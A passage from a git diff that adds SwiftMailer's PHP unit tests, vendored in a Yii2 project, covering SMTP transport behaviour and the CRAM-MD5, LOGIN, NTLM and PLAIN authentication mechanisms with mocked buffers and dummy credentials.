+ } + } + + public function testBccRecipientsAreRemovedFromHeaders() + { + /* -- RFC 2821, 7.2. + + Addresses that do not appear in the message headers may appear in the + RCPT commands to an SMTP server for a number of reasons. The two + most common involve the use of a mailing address as a "list exploder" + (a single address that resolves into multiple addresses) and the + appearance of "blind copies". Especially when more than one RCPT + command is present, and in order to avoid defeating some of the + purpose of these mechanisms, SMTP clients and servers SHOULD NOT copy + the full set of RCPT command arguments into the headers, either as + part of trace headers or as informational or private-extension + headers. Since this rule is often violated in practice, and cannot + be enforced, sending SMTP systems that are aware of "bcc" use MAY + find it helpful to send each blind copy as a separate message + transaction containing only a single RCPT command. + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getBcc') + ->zeroOrMoreTimes() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $message->shouldReceive('setBcc') + ->once() + ->with(array()); + $message->shouldReceive('setBcc') + ->zeroOrMoreTimes(); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + public function testEachBccRecipientIsSentASeparateMessage() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getBcc') + ->zeroOrMoreTimes() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $message->shouldReceive('setBcc') + ->atLeast()->once() + ->with(array()); + $message->shouldReceive('setBcc') + ->once() + ->with(array('zip@button' => 'Zip Button')); + $message->shouldReceive('setBcc') + ->once() + ->with(array('test@domain' => 'Test user')); + $message->shouldReceive('setBcc') + ->atLeast()->once() + ->with(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(1); + $buf->shouldReceive('readLine')->once()->with(1)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(2); + $buf->shouldReceive('readLine')->once()->with(2)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("DATA\r\n")->andReturn(3); + $buf->shouldReceive('readLine')->once()->with(3)->andReturn("354 OK\r\n"); + $buf->shouldReceive('write')->once()->with("\r\n.\r\n")->andReturn(4); + $buf->shouldReceive('readLine')->once()->with(4)->andReturn("250 OK\r\n"); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(5); + $buf->shouldReceive('readLine')->once()->with(5)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(6); + $buf->shouldReceive('readLine')->once()->with(6)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("DATA\r\n")->andReturn(7); + $buf->shouldReceive('readLine')->once()->with(7)->andReturn("354 OK\r\n"); + $buf->shouldReceive('write')->once()->with("\r\n.\r\n")->andReturn(8); + $buf->shouldReceive('readLine')->once()->with(8)->andReturn("250 OK\r\n"); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(9); + $buf->shouldReceive('readLine')->once()->with(9)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(10); + $buf->shouldReceive('readLine')->once()->with(10)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("DATA\r\n")->andReturn(11); + $buf->shouldReceive('readLine')->once()->with(11)->andReturn("354 OK\r\n"); + $buf->shouldReceive('write')->once()->with("\r\n.\r\n")->andReturn(12); + $buf->shouldReceive('readLine')->once()->with(12)->andReturn("250 OK\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(3, $smtp->send($message)); + } + + public function testMessageStateIsRestoredOnFailure() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getBcc') + ->zeroOrMoreTimes() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $message->shouldReceive('setBcc') + ->once() + ->with(array()); + $message->shouldReceive('setBcc') + ->once() + ->with(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $buf->shouldReceive('write') + ->once() + ->with("MAIL FROM: \r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("RCPT TO: \r\n") + ->andReturn(2); + $buf->shouldReceive('readLine') + ->once() + ->with(2) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->once() + ->with("DATA\r\n") + ->andReturn(3); + $buf->shouldReceive('readLine') + ->once() + ->with(3) + ->andReturn("451 No\r\n"); + + $this->_finishBuffer($buf); + + $smtp->start(); + try { + $smtp->send($message); + $this->fail('A bad response was given so exception is expected'); + } catch (Exception $e) { + } + } + + public function testStopSendsQuitCommand() + { + /* -- RFC 2821, 4.1.1.10. + + This command specifies that the receiver MUST send an OK reply, and + then close the transmission channel. + + The receiver MUST NOT intentionally close the transmission channel + until it receives and replies to a QUIT command (even if there was an + error). The sender MUST NOT intentionally close the transmission + channel until it sends a QUIT command and SHOULD wait until it + receives the reply (even if there was an error response to a previous + command). If the connection is closed prematurely due to violations + of the above or system or network failure, the server MUST cancel any + pending transaction, but not undo any previously completed + transaction, and generally MUST act as if the command or transaction + in progress had received a temporary error (i.e., a 4yz response). + + The QUIT command may be issued at any time. + + Syntax: + "QUIT" CRLF + */ + + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $buf->shouldReceive('initialize') + ->once(); + $buf->shouldReceive('write') + ->once() + ->with("QUIT\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->once() + ->with(1) + ->andReturn("221 Bye\r\n"); + $buf->shouldReceive('terminate') + ->once(); + + $this->_finishBuffer($buf); + + $this->assertFalse($smtp->isStarted()); + $smtp->start(); + $this->assertTrue($smtp->isStarted()); + $smtp->stop(); + $this->assertFalse($smtp->isStarted()); + } + + public function testBufferCanBeFetched() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $ref = $smtp->getBuffer(); + $this->assertEquals($buf, $ref); + } + + public function testBufferCanBeWrittenToUsingExecuteCommand() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with("FOO\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with(1) + ->andReturn("250 OK\r\n"); + + $res = $smtp->executeCommand("FOO\r\n"); + $this->assertEquals("250 OK\r\n", $res); + } + + public function testResponseCodesAreValidated() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with("FOO\r\n") + ->andReturn(1); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with(1) + ->andReturn("551 Not ok\r\n"); + + try { + $smtp->executeCommand("FOO\r\n", array(250, 251)); + $this->fail('A 250 or 251 response was needed but 551 was returned.'); + } catch (Exception $e) { + } + } + + public function testFailedRecipientsCanBeCollectedByReference() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('getBcc') + ->zeroOrMoreTimes() + ->andReturn(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + $message->shouldReceive('setBcc') + ->atLeast()->once() + ->with(array()); + $message->shouldReceive('setBcc') + ->once() + ->with(array('zip@button' => 'Zip Button')); + $message->shouldReceive('setBcc') + ->once() + ->with(array('test@domain' => 'Test user')); + $message->shouldReceive('setBcc') + ->atLeast()->once() + ->with(array( + 'zip@button' => 'Zip Button', + 'test@domain' => 'Test user', + )); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(1); + $buf->shouldReceive('readLine')->once()->with(1)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(2); + $buf->shouldReceive('readLine')->once()->with(2)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("DATA\r\n")->andReturn(3); + $buf->shouldReceive('readLine')->once()->with(3)->andReturn("354 OK\r\n"); + $buf->shouldReceive('write')->once()->with("\r\n.\r\n")->andReturn(4); + $buf->shouldReceive('readLine')->once()->with(4)->andReturn("250 OK\r\n"); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(5); + $buf->shouldReceive('readLine')->once()->with(5)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(6); + $buf->shouldReceive('readLine')->once()->with(6)->andReturn("500 Bad\r\n"); + $buf->shouldReceive('write')->once()->with("RSET\r\n")->andReturn(7); + $buf->shouldReceive('readLine')->once()->with(7)->andReturn("250 OK\r\n"); + + $buf->shouldReceive('write')->once()->with("MAIL FROM: \r\n")->andReturn(9); + $buf->shouldReceive('readLine')->once()->with(9)->andReturn("250 OK\r\n"); + $buf->shouldReceive('write')->once()->with("RCPT TO: \r\n")->andReturn(10); + $buf->shouldReceive('readLine')->once()->with(10)->andReturn("500 Bad\r\n"); + $buf->shouldReceive('write')->once()->with("RSET\r\n")->andReturn(11); + $buf->shouldReceive('readLine')->once()->with(11)->andReturn("250 OK\r\n"); + + $this->_finishBuffer($buf); + $smtp->start(); + $this->assertEquals(1, $smtp->send($message, $failures)); + $this->assertEquals(array('zip@button', 'test@domain'), $failures, + '%s: Failures should be caught in an array' + ); + } + + public function testSendingRegeneratesMessageId() + { + $buf = $this->_getBuffer(); + $smtp = $this->_getTransport($buf); + $message = $this->_createMessage(); + $message->shouldReceive('getFrom') + ->zeroOrMoreTimes() + ->andReturn(array('me@domain.com' => 'Me')); + $message->shouldReceive('getTo') + ->zeroOrMoreTimes() + ->andReturn(array('foo@bar' => null)); + $message->shouldReceive('generateId') + ->once(); + + $this->_finishBuffer($buf); + $smtp->start(); + $smtp->send($message); + } + + protected function _getBuffer() + { + return $this->getMockery('Swift_Transport_IoBuffer')->shouldIgnoreMissing(); + } + + protected function _createMessage() + { + return $this->getMockery('Swift_Mime_Message')->shouldIgnoreMissing(); + } + + protected function _finishBuffer($buf) + { + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with(0) + ->andReturn('220 server.com foo'."\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with('~^(EH|HE)LO .*?\r\n$~D') + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn('250 ServerName'."\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with('~^MAIL FROM: <.*?>\r\n$~D') + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with('~^RCPT TO: <.*?>\r\n$~D') + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with("DATA\r\n") + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn("354 OK\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with("\r\n.\r\n") + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn("250 OK\r\n"); + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->with("RSET\r\n") + ->andReturn($x = uniqid()); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->with($x) + ->andReturn("250 OK\r\n"); + + $buf->shouldReceive('write') + ->zeroOrMoreTimes() + ->andReturn(false); + $buf->shouldReceive('readLine') + ->zeroOrMoreTimes() + ->andReturn(false); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/CramMd5AuthenticatorTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/CramMd5AuthenticatorTest.php new file mode 100644 index 00000000..2f773f51 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/CramMd5AuthenticatorTest.php @@ -0,0 +1,66 @@ +_agent = $this->getMockery('Swift_Transport_SmtpAgent')->shouldIgnoreMissing(); + } + + public function testKeywordIsCramMd5() + { + /* -- RFC 2195, 2. + The authentication type associated with CRAM is "CRAM-MD5". + */ + + $cram = $this->_getAuthenticator(); + $this->assertEquals('CRAM-MD5', $cram->getAuthKeyword()); + } + + public function testSuccessfulAuthentication() + { + $cram = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("AUTH CRAM-MD5\r\n", array(334)) + ->andReturn('334 '.base64_encode('')."\r\n"); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(\Mockery::any(), array(235)); + + $this->assertTrue($cram->authenticate($this->_agent, 'jack', 'pass'), + '%s: The buffer accepted all commands authentication should succeed' + ); + } + + public function testAuthenticationFailureSendRsetAndReturnFalse() + { + $cram = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("AUTH CRAM-MD5\r\n", array(334)) + ->andReturn('334 '.base64_encode('')."\r\n"); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(\Mockery::any(), array(235)) + ->andThrow(new Swift_TransportException("")); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("RSET\r\n", array(250)); + + $this->assertFalse($cram->authenticate($this->_agent, 'jack', 'pass'), + '%s: Authentication fails, so RSET should be sent' + ); + } + + // -- Private helpers + + private function _getAuthenticator() + { + return new Swift_Transport_Esmtp_Auth_CramMd5Authenticator(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/LoginAuthenticatorTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/LoginAuthenticatorTest.php new file mode 100644 index 00000000..1eedbc08 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/LoginAuthenticatorTest.php @@ -0,0 +1,66 @@ +_agent = $this->getMockery('Swift_Transport_SmtpAgent')->shouldIgnoreMissing(); + } + + public function testKeywordIsLogin() + { + $login = $this->_getAuthenticator(); + $this->assertEquals('LOGIN', $login->getAuthKeyword()); + } + + public function testSuccessfulAuthentication() + { + $login = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("AUTH LOGIN\r\n", array(334)); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(base64_encode('jack')."\r\n", array(334)); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(base64_encode('pass')."\r\n", array(235)); + + $this->assertTrue($login->authenticate($this->_agent, 'jack', 'pass'), + '%s: The buffer accepted all commands authentication should succeed' + ); + } + + public function testAuthenticationFailureSendRsetAndReturnFalse() + { + $login = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("AUTH LOGIN\r\n", array(334)); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(base64_encode('jack')."\r\n", array(334)); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with(base64_encode('pass')."\r\n", array(235)) + ->andThrow(new Swift_TransportException("")); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("RSET\r\n", array(250)); + + $this->assertFalse($login->authenticate($this->_agent, 'jack', 'pass'), + '%s: Authentication fails, so RSET should be sent' + ); + } + + // -- Private helpers + + private function _getAuthenticator() + { + return new Swift_Transport_Esmtp_Auth_LoginAuthenticator(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/NTLMAuthenticatorTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/NTLMAuthenticatorTest.php new file mode 100644 index 00000000..ae969ad4 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/NTLMAuthenticatorTest.php @@ -0,0 +1,233 @@ +markTestSkipped( + 'One of the required functions is not available.' + ); + } + } + + public function testKeywordIsNtlm() + { + $login = $this->_getAuthenticator(); + $this->assertEquals('NTLM', $login->getAuthKeyword()); + } + + public function testMessage1Generator() + { + $login = $this->_getAuthenticator(); + $message1 = $this->_invokePrivateMethod('createMessage1', $login); + + $this->assertEquals($this->_message1, bin2hex($message1), + '%s: We send the smallest ntlm message which should never fail.' + ); + } + + public function testLMv1Generator() + { + $password = "test1234"; + $challenge = "b019d38bad875c9d"; + $lmv1 = "1879f60127f8a877022132ec221bcbf3ca016a9f76095606"; + + $login = $this->_getAuthenticator(); + $lmv1Result = $this->_invokePrivateMethod('createLMPassword', $login, array($password, $this->hex2bin($challenge))); + + $this->assertEquals($lmv1, bin2hex($lmv1Result), + '%s: The keys should be the same cause we use the same values to generate them.' + ); + } + + public function testLMv2Generator() + { + $username = "user"; + $password = "SecREt01"; + $domain = "DOMAIN"; + $challenge = "0123456789abcdef"; + $lmv2 = "d6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344"; + + $login = $this->_getAuthenticator(); + $lmv2Result = $this->_invokePrivateMethod('createLMv2Password', $login, array($password, $username, $domain, $this->hex2bin($challenge), $this->hex2bin("ffffff0011223344"))); + + $this->assertEquals($lmv2, bin2hex($lmv2Result), + '%s: The keys should be the same cause we use the same values to generate them.' + ); + } + + public function testMessage3v1Generator() + { + $username = "test"; + $domain = "TESTNT"; + $workstation = "MEMBER"; + $lmResponse = "1879f60127f8a877022132ec221bcbf3ca016a9f76095606"; + $ntlmResponse = "e6285df3287c5d194f84df1a94817c7282d09754b6f9e02a"; + $message3T = "4e544c4d5353500003000000180018006000000018001800780000000c000c0040000000080008004c0000000c000c0054000000000000009a0000000102000054004500530054004e00540074006500730074004d0045004d004200450052001879f60127f8a877022132ec221bcbf3ca016a9f76095606e6285df3287c5d194f84df1a94817c7282d09754b6f9e02a"; + + $login = $this->_getAuthenticator(); + $message3 = $this->_invokePrivateMethod('createMessage3', $login, array($domain, $username, $workstation, $this->hex2bin($lmResponse), $this->hex2bin($ntlmResponse))); + + $this->assertEquals($message3T, bin2hex($message3), + '%s: We send the same information as the example is created with so this should be the same' + ); + } + + public function testMessage3v2Generator() + { + $username = "test"; + $domain = "TESTNT"; + $workstation = "MEMBER"; + $lmResponse = "bf2e015119f6bdb3f6fdb768aa12d478f5ce3d2401c8f6e9"; + $ntlmResponse = "caa4da8f25d5e840974ed8976d3ada46010100000000000030fa7e3c677bc301f5ce3d2401c8f6e90000000002000c0054004500530054004e00540001000c004d0045004d0042004500520003001e006d0065006d006200650072002e0074006500730074002e0063006f006d000000000000000000"; + + $login = $this->_getAuthenticator(); + $message3 = $this->_invokePrivateMethod('createMessage3', $login, array($domain, $username, $workstation, $this->hex2bin($lmResponse), $this->hex2bin($ntlmResponse))); + + $this->assertEquals($this->_message3, bin2hex($message3), + '%s: We send the same information as the example is created with so this should be the same' + ); + } + + public function testGetDomainAndUsername() + { + $username = "DOMAIN\user"; + + $login = $this->_getAuthenticator(); + list($domain, $user) = $this->_invokePrivateMethod('getDomainAndUsername', $login, array($username)); + + $this->assertEquals('DOMAIN', $domain, + '%s: the fetched domain did not match' + ); + $this->assertEquals('user', $user, + '%s: the fetched user did not match' + ); + } + + public function testGetDomainAndUsernameWithExtension() + { + $username = "domain.com\user"; + + $login = $this->_getAuthenticator(); + list($domain, $user) = $this->_invokePrivateMethod('getDomainAndUsername', $login, array($username)); + + $this->assertEquals('domain.com', $domain, + '%s: the fetched domain did not match' + ); + $this->assertEquals('user', $user, + '%s: the fetched user did not match' + ); + } + + public function testGetDomainAndUsernameWithAtSymbol() + { + $username = "user@DOMAIN"; + + $login = $this->_getAuthenticator(); + list($domain, $user) = $this->_invokePrivateMethod('getDomainAndUsername', $login, array($username)); + + $this->assertEquals('DOMAIN', $domain, + '%s: the fetched domain did not match' + ); + $this->assertEquals('user', $user, + '%s: the fetched user did not match' + ); + } + + public function testGetDomainAndUsernameWithAtSymbolAndExtension() + { + $username = "user@domain.com"; + + $login = $this->_getAuthenticator(); + list($domain, $user) = $this->_invokePrivateMethod('getDomainAndUsername', $login, array($username)); + + $this->assertEquals('domain.com', $domain, + '%s: the fetched domain did not match' + ); + $this->assertEquals('user', $user, + '%s: the fetched user did not match' + ); + } + + public function testSuccessfulAuthentication() + { + $domain = "TESTNT"; + $username = "test"; + $secret = "test1234"; + + $ntlm = $this->_getAuthenticator(); + $agent = $this->_getAgent(); + $agent->shouldReceive('executeCommand') + ->once() + ->with('AUTH NTLM '.base64_encode( + $this->_invokePrivateMethod('createMessage1', $ntlm) + )."\r\n", array(334)) + ->andReturn("334 ".base64_encode($this->hex2bin("4e544c4d53535000020000000c000c003000000035828980514246973ea892c10000000000000000460046003c00000054004500530054004e00540002000c0054004500530054004e00540001000c004d0045004d0042004500520003001e006d0065006d006200650072002e0074006500730074002e0063006f006d0000000000"))); + $agent->shouldReceive('executeCommand') + ->once() + ->with(base64_encode( + $this->_invokePrivateMethod('createMessage3', $ntlm, array($domain, $username, $this->hex2bin("4d0045004d00420045005200"), $this->hex2bin("bf2e015119f6bdb3f6fdb768aa12d478f5ce3d2401c8f6e9"), $this->hex2bin("caa4da8f25d5e840974ed8976d3ada46010100000000000030fa7e3c677bc301f5ce3d2401c8f6e90000000002000c0054004500530054004e00540001000c004d0045004d0042004500520003001e006d0065006d006200650072002e0074006500730074002e0063006f006d000000000000000000")) + ))."\r\n", array(235)); + + $this->assertTrue($ntlm->authenticate($agent, $username.'@'.$domain, $secret, $this->hex2bin("30fa7e3c677bc301"), $this->hex2bin("f5ce3d2401c8f6e9")), + '%s: The buffer accepted all commands authentication should succeed' + ); + } + + public function testAuthenticationFailureSendRsetAndReturnFalse() + { + $domain = "TESTNT"; + $username = "test"; + $secret = "test1234"; + + $ntlm = $this->_getAuthenticator(); + $agent = $this->_getAgent(); + $agent->shouldReceive('executeCommand') + ->once() + ->with('AUTH NTLM '.base64_encode( + $this->_invokePrivateMethod('createMessage1', $ntlm) + )."\r\n", array(334)) + ->andThrow(new Swift_TransportException("")); + $agent->shouldReceive('executeCommand') + ->once() + ->with("RSET\r\n", array(250)); + + $this->assertFalse($ntlm->authenticate($agent, $username.'@'.$domain, $secret, $this->hex2bin("30fa7e3c677bc301"), $this->hex2bin("f5ce3d2401c8f6e9")), + '%s: Authentication fails, so RSET should be sent' + ); + } + + // -- Private helpers + private function _getAuthenticator() + { + return new Swift_Transport_Esmtp_Auth_NTLMAuthenticator(); + } + + private function _getAgent() + { + return $this->getMockery('Swift_Transport_SmtpAgent')->shouldIgnoreMissing(); + } + + private function _invokePrivateMethod($method, $instance, array $args = array()) + { + $methodC = new ReflectionMethod($instance, trim($method)); + $methodC->setAccessible(true); + + return $methodC->invokeArgs($instance, $args); + } + + /** + * Hex2bin replacement for < PHP 5.4 + * @param string $hex + * @return string Binary + */ + protected function hex2bin($hex) + { + return function_exists('hex2bin') ? hex2bin($hex) : pack('H*', $hex); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/PlainAuthenticatorTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/PlainAuthenticatorTest.php new file mode 100644 index 00000000..e705cb9c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/Auth/PlainAuthenticatorTest.php @@ -0,0 +1,69 @@ +_agent = $this->getMockery('Swift_Transport_SmtpAgent')->shouldIgnoreMissing(); + } + + public function testKeywordIsPlain() + { + /* -- RFC 4616, 1. + The name associated with this mechanism is "PLAIN". + */ + + $login = $this->_getAuthenticator(); + $this->assertEquals('PLAIN', $login->getAuthKeyword()); + } + + public function testSuccessfulAuthentication() + { + /* -- RFC 4616, 2. + The client presents the authorization identity (identity to act as), + followed by a NUL (U+0000) character, followed by the authentication + identity (identity whose password will be used), followed by a NUL + (U+0000) character, followed by the clear-text password. + */ + + $plain = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with('AUTH PLAIN '.base64_encode( + 'jack'.chr(0).'jack'.chr(0).'pass' + )."\r\n", array(235)); + + $this->assertTrue($plain->authenticate($this->_agent, 'jack', 'pass'), + '%s: The buffer accepted all commands authentication should succeed' + ); + } + + public function testAuthenticationFailureSendRsetAndReturnFalse() + { + $plain = $this->_getAuthenticator(); + + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with('AUTH PLAIN '.base64_encode( + 'jack'.chr(0).'jack'.chr(0).'pass' + )."\r\n", array(235)) + ->andThrow(new Swift_TransportException("")); + $this->_agent->shouldReceive('executeCommand') + ->once() + ->with("RSET\r\n", array(250)); + + $this->assertFalse($plain->authenticate($this->_agent, 'jack', 'pass'), + '%s: Authentication fails, so RSET should be sent' + ); + } + + // -- Private helpers + + private function _getAuthenticator() + { + return new Swift_Transport_Esmtp_Auth_PlainAuthenticator(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/AuthHandlerTest.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/AuthHandlerTest.php new file mode 100644 index 00000000..64327d47 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/tests/unit/Swift/Transport/Esmtp/AuthHandlerTest.php @@ -0,0 +1,167 @@ +_agent = $this->getMockery('Swift_Transport_SmtpAgent')->shouldIgnoreMissing(); + } + + public function testKeywordIsAuth() + { + $auth = $this->_createHandler(array()); + $this->assertEquals('AUTH', $auth->getHandledKeyword()); + } + + public function testUsernameCanBeSetAndFetched() + { + $auth = $this->_createHandler(array()); + $auth->setUsername('jack'); + $this->assertEquals('jack', $auth->getUsername()); + } + + public function testPasswordCanBeSetAndFetched() + { + $auth = $this->_createHandler(array()); + $auth->setPassword('pass'); + $this->assertEquals('pass', $auth->getPassword()); + } + + public function testAuthModeCanBeSetAndFetched() + { + $auth = $this->_createHandler(array()); + $auth->setAuthMode('PLAIN'); + $this->assertEquals('PLAIN', $auth->getAuthMode()); + } + + public function testMixinMethods() + { + $auth = $this->_createHandler(array()); + $mixins = $auth->exposeMixinMethods(); + $this->assertTrue(in_array('getUsername', $mixins), + '%s: getUsername() should be accessible via mixin' + ); + $this->assertTrue(in_array('setUsername', $mixins), + '%s: setUsername() should be accessible via mixin' + ); + $this->assertTrue(in_array('getPassword', $mixins), + '%s: getPassword() should be accessible via mixin' + ); + $this->assertTrue(in_array('setPassword', $mixins), + '%s: setPassword() should be accessible via mixin' + ); + $this->assertTrue(in_array('setAuthMode', $mixins), + '%s: setAuthMode() should be accessible via mixin' + ); + $this->assertTrue(in_array('getAuthMode', $mixins), + '%s: getAuthMode() should be accessible via mixin' + ); + } + + public function testAuthenticatorsAreCalledAccordingToParamsAfterEhlo() + { + $a1 = $this->_createMockAuthenticator('PLAIN'); + $a2 = $this->_createMockAuthenticator('LOGIN'); + + $a1->shouldReceive('authenticate') + ->never() + ->with($this->_agent, 'jack', 'pass'); + $a2->shouldReceive('authenticate') + ->once() + ->with($this->_agent, 'jack', 'pass') + ->andReturn(true); + + $auth = $this->_createHandler(array($a1, $a2)); + $auth->setUsername('jack'); + $auth->setPassword('pass'); + + $auth->setKeywordParams(array('CRAM-MD5', 'LOGIN')); + $auth->afterEhlo($this->_agent); + } + + public function testAuthenticatorsAreNotUsedIfNoUsernameSet() + { + $a1 = $this->_createMockAuthenticator('PLAIN'); + $a2 = $this->_createMockAuthenticator('LOGIN'); + + $a1->shouldReceive('authenticate') + ->never() + ->with($this->_agent, 'jack', 'pass'); + $a2->shouldReceive('authenticate') + ->never() + ->with($this->_agent, 'jack', 'pass') + ->andReturn(true); + + $auth = $this->_createHandler(array($a1, $a2)); + + $auth->setKeywordParams(array('CRAM-MD5', 'LOGIN')); + $auth->afterEhlo($this->_agent); + } + + public function testSeveralAuthenticatorsAreTriedIfNeeded() + { + $a1 = $this->_createMockAuthenticator('PLAIN'); + $a2 = $this->_createMockAuthenticator('LOGIN'); + + $a1->shouldReceive('authenticate') + ->once() + ->with($this->_agent, 'jack', 'pass') + ->andReturn(false); + $a2->shouldReceive('authenticate') + ->once() + 